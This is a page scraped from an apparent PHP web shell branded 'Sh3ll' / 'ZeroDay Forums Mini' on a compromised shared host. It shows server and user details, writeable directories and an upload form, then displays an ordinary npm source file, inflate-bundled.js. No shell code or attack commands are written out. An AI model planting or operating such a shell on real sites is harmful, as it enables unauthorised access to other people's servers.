Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium163.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : infihsqw ( 644)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /lib/node_modules/npm/lib/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/node_modules/npm/lib/install/inflate-bundled.js
'use strict'

var childPath = require('../utils/child-path.js')
var reset = require('./node.js').reset

module.exports = function inflateBundled (bundler, parent, children) {
  children.forEach(function (child) {
    if (child.fromBundle === bundler) return
    reset(child)
    child.fromBundle = bundler
    child.isInLink = bundler.isLink
    child.parent = parent
    child.path = childPath(parent.path, child)
    child.realpath = bundler.isLink ? child.realpath : childPath(parent.realpath, child)
    child.isLink = child.isLink || parent.isLink || parent.target
    inflateBundled(bundler, child, child.children)
  })
}

ZeroDay Forums Mini